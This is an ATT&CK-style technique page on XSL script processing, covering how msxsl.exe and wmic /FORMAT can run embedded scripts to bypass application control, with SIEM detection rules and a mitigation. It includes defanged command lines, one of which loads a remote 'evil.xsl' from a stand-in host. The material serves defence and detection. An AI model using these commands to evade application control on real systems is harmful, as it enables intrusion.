T1220: XSL Script Processing
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.
Command-line examples:
msxsl.exe customers[.]xml script[.]xsl
msxsl.exe script[.]xsl script[.]xsl
msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.
Command-line examples:
- Local File:
wmic process list /FORMAT:evil[.]xsl
- Remote File:
wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
Positive Technologies products that cover the technique
MaxPatrol SIEM knowledge base
mitre_attck_defense_evasion: PT-CR-208: XSL_Script_WMIC_Execution: An attempt to run XSL scripts using "wmic" is detected mitre_attck_defense_evasion: PT-CR-338: MSXSL_AWL_Bypass: An attempt to bypass application-start restrictions by using msxsl.exe (a Microsoft Windows command-line XSL transformation utility) mitre_attck_defense_evasion: PT-CR-2654: Suspicious_XSLT_XML_PowerShell_Execution: Suspicious XSL transformation via PowerShell to bypass security tools
Detection
ID | DS0011 | Data source and component | Module: Module Load | Description | Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. |
---|
ID | DS0009 | Data source and component | Process: Process Creation | Description | Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. |
---|
Mitigation
ID | M1038 | Name | Execution Prevention | Description | If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries. |
---|